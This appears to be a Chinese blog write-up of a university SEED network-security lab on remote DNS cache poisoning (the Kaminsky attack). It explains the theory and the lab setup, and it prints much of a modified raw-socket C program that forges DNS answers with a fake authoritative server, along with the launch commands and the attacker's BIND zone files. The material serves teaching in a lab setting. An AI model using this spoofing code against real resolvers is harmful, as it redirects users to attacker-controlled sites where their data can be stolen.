远程DNS缓存攻击__网络攻防实验三

一、实验描述

DNS(Domain Name System)是一个多层次的分布式数据库系统,其基本功能是完成域名解析,即提供域名和IP 地址之间的映射关系,为Internet 用户提供便利。DNS 服务器只记录本地资源的所有授权主机,若想查询非本地的主机信息,
则要向信息持有者(权威DNS 服务器)发送查询请求。为了避免每次查询都发送请求,DNS 服务器会把权威DNS 服务器返回的查询结果保存在缓存中,并保持一定时间,这就构成了DNS 缓存(DNS Cache)。DNS 缓存中毒攻击就是通过污染DNS Cache,用虚假的IP 地址信息替换Cache 中主机记录的真实IP 地
址信息,从而改变域名和IP 的映射关系。这样使得用户在访问某网站时会被错误引导至攻击者的网站中,从而被其获取重要的隐私信息。本实验主要是搭建实验环境,完成远程DNS 缓存中毒攻击实验(Kaminsky 攻击)。

二、实验参考资料

老师给的资料http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Networking/DNS_Remote/
修改过的代码下载地址,两个地址一个在百度云盘,一个直接在CSDN
http://download.csdn.net/detail/zengxyuyu/9704739
http://download.csdn.net/detail/zengxyuyu/9704749
一些可以看的帮助文档,这个文档做的不完整
http://wenku.baidu.com/link?url=MUEXKX4nYbYP2CIcrp6sbzZ8xChuHyqqU-bg9f5SJX74NVA2w3XUnpp7dvNCsRCDtrv8tczKx9m5zZ90StWGENpAP7coKDp6MMivyba-GBq

三、实验分析

首先,我们的目标是使得用户在访问www.example.com时,本地DNS服务器把该域名解析为我们设定的恶意IP地址,当用户访问该域下的其他域名时,本地DNS服务器会向假的DNS服务器请求应答。
www.example.com的真实权威域名服务器IP地址是93.184.216.34,它的DNS服务器由ICANN管理。 当用户对该域名执行dig命令或在浏览器打开网站时,用户的机器就会发送一个DNS请求到本地DNS服务器,并最终从www.example.com的DNS服务器获取到正确的IP地址。
要实现目标,我们实际上是对Apollo(本地DNS服务器)进行投毒,使得用户在对该域名执行dig命令或在浏览器打开网站时,变成是向攻击者的DNS服务器ns.dnslabattacker.net 提交请求,由此我们可以自己设定一个恶意IP地址,并使得用户被重定向到这个地址而不是在www.example.com DNS服务器中设定的正确IP地址。
具体来说,这个项目可以分为两个任务,一是缓存投毒,二是结果验证。在第一个任务中,我们要对Apollo进行投毒,使得Apollo的DNS缓存中,ns.dnslabattacker.net 被设定为example.com域名的域名服务器。 在第二个任务中,要验证投毒是否成功,也即检验在用户机上对www.example.com 使用dig命令确实返回我们设定的恶意IP地址。

如果Apollo中已经缓存好了example.com DNS服务器的地址,就不用再查询根DNS服务器了,这时会直接向example.com DNS服务器提出对域名的查询。攻击时利用的正是这一特性,我们可以向Apollo多次提交example.com 域下的不同域名的查询包,这样Apollo会向example.com DNS服务器提交多次查询,而此时我们通过大量伪造对应的应答包来进行匹配,只要能先于真正example.com DNS服务器应答包到达,则感染成功,Apollo会记录我们伪造包的信息,包括查询的域名和伪造的恶意IP,还有域名对应的伪造的DNS及DNS的ip,这样就成功毒化了。

归纳一下,毒化缓存主要有以下三个约束:

  1. TTL约束: 域名不能够已经在dns cache server的缓存中

  2. Guess约束:transaction id能够成功匹配。

  3. Window
    Time约束:伪造包要比真正DNS服务器返回包快。

为了克服约束1,就有了Kaminsky Attack这种攻击方法。Kaminsky的主要技术是绕开TTL的约束,使得攻击具有较高的成功率。而且,Kaminsky并不只是毒化一个域名,它能把被攻击域名的权威域名服务器也进行毒化,改造为faked name server(伪造的权威域名服务器),从而具有极大的危害性。

四、实验步骤

(一)网络配置

1.虚拟机的网络连接模式为Nat模式,就是让虚拟系统借助NAT(网络地址转换)功能,通过宿主机器所在的网络来访问公网。

这里写图片描述

2.使用三台虚拟机,一台Apollo(本地DNS服务器,同时也是受害DNS服务器,Victim DNS server),一台用户(User,或者说客户端),一台攻击者(Attacker),下文中统一称呼都是Apollo,用户和攻击者。 不过我这次没有配置静态IP,所以实验时IP地址会与下图不一致。依次是192.168.109.140、192.168.109.141和192.168.109.139。
因为在Nat模式下,进入虚拟机,自动被分配IP,只需ifconfig查询一下三台主机的IP是什么,
这是教程上给的结构图:
这里写图片描述

(二)配置本地DNS服务器
1.安装bind9

sudo apt-get install bind9

这里写图片描述

2.以下两条命令可以帮助我们更好地进行实验:

rndc flush
rndc dumpdb -cache

其中第一条命令是把DNS缓存清空,第二条命令是把缓存转储到named_dump.db文件。named_dump.db在/var/cache/bind目录下
3.配置Apollo的DNS查询端口为33333,如果不设置的话,端口是随机的,则远程攻击时难度会更大(除了猜transaction ID还得猜port)。具体来说是通过修改Apollo的/etc/bind/named.conf.options文件实现的。
4.除了设置固定的端口以外,我们还需要关闭dnssec-validation服务,这是设置用来防止DNS缓存投毒攻击的。如果不关闭的话,攻击会非常困难。注释掉named.conf.options文件中的对应条目,并且加入关闭dnssec服务的语句:
这里写图片描述
5.启动DNS服务器:service bind9 start
重启DNS服务器:service bind9 restart

(三)配置客户端
在客户端我们需要配置使得Apollo (192.168.109.139) 成为客户端(192.168.109.141)的默认DNS服务器,通过修改客户端的DNS配置文件来实现。
1.修改etc文件夹下的resolv.conf文件
这里写图片描述
注意,因为Ubuntu系统中,resolv.conf会被DHCP客户端覆写,这样我们加入的内容就会被消除掉,为了避免这个状况我们要禁止DHCP。

2.禁止DHCP
点击All Settings,然后点击Network,在Wired选项卡点击Options按钮,然后在IPv4 Settings选项卡中把Method更改为Automatic(DHCP) addresses only,然后把DNS servers更改为前面设置的本地DNS服务器的ip地址。
这里写图片描述
因为没有找到实验指导中Network Icon的Auto eth0选项,所以这里直接手动从命令行重启一下网卡:

ifconfig eth0 down
ifconfig eth0 up

为了确保万无一失,重启一次虚拟机来使修改生效也行。再查看一下此时的DNS服务器,确实就我们刚刚配置的,DHCP被禁止了,没有对我们的修改进行覆盖,这样就证明配置成功了。
这里写图片描述
(四)配置攻击者
攻击者可以是网络上任意一台主机,我们可以通过raw socket编程来伪造DNS包进行攻击。但同时我们也要实现一个假的DNS服务器,这样当受害者使用域名访问网站时,我们可以把他们导向恶意网站了。这里我们把假的DNS服务器和攻击者的机器设置为同一台,但实际上可以是不同的主机。
1.配置攻击者的默认DNS服务器,使得在攻击者的机器上查询DNS时会向Apollo发出请求。这一步骤和配置用户机是一样的,修改resolv.conf文件,然后关闭DHCP服务即可。

2.伪造DNS应答包
我们从实验参考资料可以下载一份udp.c的文件,在这个项目中,我们使用raw socket编写c代码来实现,需要填充好DNS包的各个字段。
在用户主机上dig www.example.com
使用Wareshark捕捉:
这里写图片描述
一般每一个域名都至少要有两个DNS服务器,这样如果其中一个DNS服务器出现问题,另外一个也可以返回关于这个域名的数据,多个DNS服务器上的DNS记录应是相同的。
上图的两条数据一个是DNS,查询一个是DNS应答。
实验提供了程序udp.c,对它进行修改以便能实现在短时间内向发送大量DNS 请求包和回复包,从而成功替换受害者DNS 服务器缓存的对应关系。
这里写图片描述

dns->flags = htons(FLAG_R);
    //only 1 query, so the count should be one.
    dns->QDCOUNT = htons(1);
    dns->ANCOUNT = htons(1);
    dns->NSCOUNT = htons(1);
    dns->ARCOUNT = htons(1);


    //query string
    strcpy(data, request_url);
    int length = strlen(data) + 1;


    //this is for convinience to get the struct type write the 4bytes in a more organized way.

    struct dataEnd *end = (struct dataEnd *)(data + length);
    end->type = htons(1);
    end->class = htons(1);
    //add the answer section here
    char *ans = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length);

    strcpy(ans, request_url);
    int anslength = strlen(ans) + 1;

    struct ansEnd *ansend = (struct ansEnd *)(ans + anslength);
    ansend->type = htons(1);
    ansend->class = htons(1);
    ansend->ttl_l = htons(0x00);
    ansend->ttl_h = htons(0xD0);
    ansend->datalen = htons(4);

    char *ansaddr = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length + sizeof(struct ansEnd) + anslength);

    strcpy(ansaddr, "\1\1\1\1");
    int addrlen = strlen(ansaddr);

    //add the authoritative section here
    char *ns = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length + sizeof(struct ansEnd) + anslength + addrlen);
    strcpy(ns, "\7example\3com");
    int nslength = strlen(ns) + 1;

    struct nsEnd *nsend = (struct nsEnd *)(ns + nslength);
    nsend->type = htons(2);
    nsend->class = htons(1);
    nsend->ttl_l = htons(0x00);
    nsend->ttl_h = htons(0xD0);
    nsend->datalen = htons(23);

    char *nsname = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length + sizeof(struct ansEnd) + anslength + addrlen + sizeof(struct nsEnd) + nslength);

    strcpy(nsname, "\2ns\16dnslabattacker\3net");
    int nsnamelen = strlen(nsname) + 1;

    //add the additional report here
    char *ar = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length + sizeof(struct ansEnd) + anslength + addrlen + sizeof(struct nsEnd) + nslength + nsnamelen);
    strcpy(ar, "\2ns\16dnslabattacker\3net");
    int arlength = strlen(ar) + 1;
    struct ansEnd *arend = (struct ansEnd *)(ar + arlength);
    arend->type = htons(1);
    arend->class = htons(1);
    arend->ttl_l = htons(0x00);
    arend->ttl_h = htons(0xD0);
    arend->datalen = htons(4);
    char *araddr = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length + sizeof(struct ansEnd) + anslength + addrlen + sizeof(struct nsEnd) + nslength + nsnamelen + arlength + sizeof(struct ansEnd));

    strcpy(araddr, "\1\1\1\1");
    int araddrlen = strlen(araddr);
    /////////////////////////////////////////////////////////////////////
    //
    // DNS format, relate to the lab, you need to change them, end
    //
    //////////////////////////////////////////////////////////////////////

代码下载地址:见最下方资源下载地址

(五)开始攻击
在root权限下
1.编译udp.c

gcc -o udp udp.c

2.清空被攻击者缓存

3.发动攻击的命令,第一个IP是攻击者IP,第二个IP是被攻击者IP,检查IP不能写反

./udp 192.168.109.140 192.168.109.139

注意:该命令必须在root权限下运行,否则会出现error

4.Apollo收到大量应答包
这里写图片描述

这里写图片描述
一般一次就会成功,如果一次不成功,重启bind9,清空缓存,再次攻击
如果攻击成功,那么Apollo的DNS缓存就会像上图一样,可以看到example.com 的NS记录变成了我们伪造的ns.dnslabattacker.net。
攻击者ctrl+c命令可以结束攻击

(六)验证是否成功

1.将缓存导入

rndc dumpdb -cache
cd /var/cache/bind
gedit named_dump.db

这里写图片描述
说明DNS缓存已中毒,攻击成功

2.为了检验是否真的成功,我们可以在用户机上使用对www.example.com 使用dig命令,查看返回的IP地址。
可以看到下图
这里写图片描述
这是因为当Apollo收到缓存中不存在的DNS记录的查询时,它就会向我们设置的伪造域名服务器ns.dnslabattacker.net提交查询,因为这个域名服务器是不存在的,Apollo会发现这一点,然后把这条DNS记录设置为无效记录,这样毒化就失效了。这时可能会想,能不能在伪造应答包时给ns.dnslabattacker.net设置一个IP地址,从而使得伪造的域名服务器变为真实“存在”的呢?
答案是否定的,原因和前面分析为什么Apollo不直接接受.com的DNS返回的example.com的DNS a.iana-servers.net 的地址是一样的。因为我们伪造应答包是从a.iana-servers.net或者b.iana-servers.net这两个域名服务器返回的,它们不是负责管辖example.com这个域的权威域名服务器,所以即使我们设置了IP地址,Apollo也不会采纳。
有两个方案解决这个问题:

方案一、使用真正的域名

如果我们有真正的域名就不需要用ns.dnslabattacker.net这个假的了,直接替换掉伪造应答包中的ns.dnslabattacker.net就可以了。当然前提是我们的域名解析到了主机上面,能够提供应答,像本地攻击实验那样配置就可以了。

方案二、使用伪造的域名

因为我们没有真正的域名,所以实验中采用这个方案。直接在Apollo的DNS配置中增加一个ns.dnslabattacker.net对应的IP地址,把它指向攻击者的主机。这样Apollo就不需要去问上级DNS服务器ns.dnslabattacker.net的IP地址是什么,自然也就不会穿帮了。

2.方案2的具体配置
a).配置Apollo的/etc/bind/named.conf.local文件

zone "ns.dnslabattacker.net" {
    type master;
    file "/etc/bind/db.attacker";
};

db.attacker文件长这样:

;
; BIND data file for local loopback interface
;
$TTL   604800
@   IN  SOA localhost. root.localhost. (
                  2     ; Serial
             604800     ; Refresh
              86400     ; Retry
            2419200     ; Expire
             604800 )   ; Negative Cache TTL
;
@   IN  NS  ns.dnslabattacker.net.
@   IN  A   192.168.109.140
@   IN  AAAA    ::1

倒数第二行的IP是攻击者的IP

这样Apollo就不需要去问上级DNS服务器ns.dnslabattacker.net的IP地址是什么,直接向攻击者询问example.com的IP是什么,攻击者告诉给了一个其他网站的IP,用户就被导向了其他网站,还以为是example.com的网站

b).给攻击者装一个bind9,作为一个DNS服务器,当被攻击者向攻击者询问example.com的IP的时候,给它一个想要的IP
配置攻击者,把example.com.db拷到/etc/bind下

gedit named.conf.default-zones &

在文件里加入下列内容:

zone "example.com" {
    type master;
    file "/etc/bind/example.com.db";
};

这里写图片描述
example.com文件内容如下:

$TTL 3D
@   IN  SOA ns.example.com. admin.example.com. (
        2008111001
        8H
        2H
        4W
        1D)

@   IN  NS  ns.dnslabattacker.net.
@   IN  MX  10 mail.example.com.

www IN  A   1.1.1.1
mail    IN  A   1.1.1.2
*.example.com.  IN  A 1.1.1.100

3.重启Apollo
攻击者再次攻击,攻击成功后
用户机dig www.example.com,得到验证,返回IP为1.1.1.1
这里写图片描述

五、资源下载地址

http://download.csdn.net/detail/zengxyuyu/9704739
http://download.csdn.net/detail/zengxyuyu/9704749

  • 11
    点赞
  • 54
    收藏
    觉得还不错? 一键收藏
  • 6
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值